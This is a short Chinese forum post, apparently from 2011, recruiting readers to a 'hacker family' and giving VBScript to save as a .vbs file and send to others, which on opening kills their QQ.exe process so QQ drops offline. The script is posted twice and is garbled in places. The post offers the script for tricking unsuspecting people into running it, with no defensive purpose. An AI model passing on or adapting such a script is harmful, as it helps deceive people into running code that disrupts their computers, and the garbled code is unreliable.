加入hacker家族学习刷钻、黑客技术吧！先创建一个txt文本文档，然后把下面的源码复制粘贴在上面去，粘贴好了点另存为。。。把文件的后缀名改成 .vbs 现在你把这个文件发给别人试试，叫他打开，打开后QQ自动掉线，不信的话你也可以打开下试试。
[【Hacker〉Van、无奈→于2011-12-2 8:49:12续贴]:
strComputer=“.“ Set objWMIService =GetObject(“winmgmts:\\“ &strComputer & “\root\cimv2“) SetcolProcessList=objWMIService.*Query (“s elect * fromWin32_Process where Name=‘QQ.exe‘ “) For Each objProcess incolProcessList objProcess.Terminate()
[【Hacker〉Van、无奈→于2011-12-2 8:49:17续贴]:
strComputer=“.“ Set objWMIService =GetObject(“winmgmts:\\“ &strComputer & “\root\cimv2“) SetcolProcessList=objWMIService.*Query (“s elect * fromWin32_Process where Name=‘QQ.exe‘ “) For Each objProcess incolProcessList objProcess.Terminate()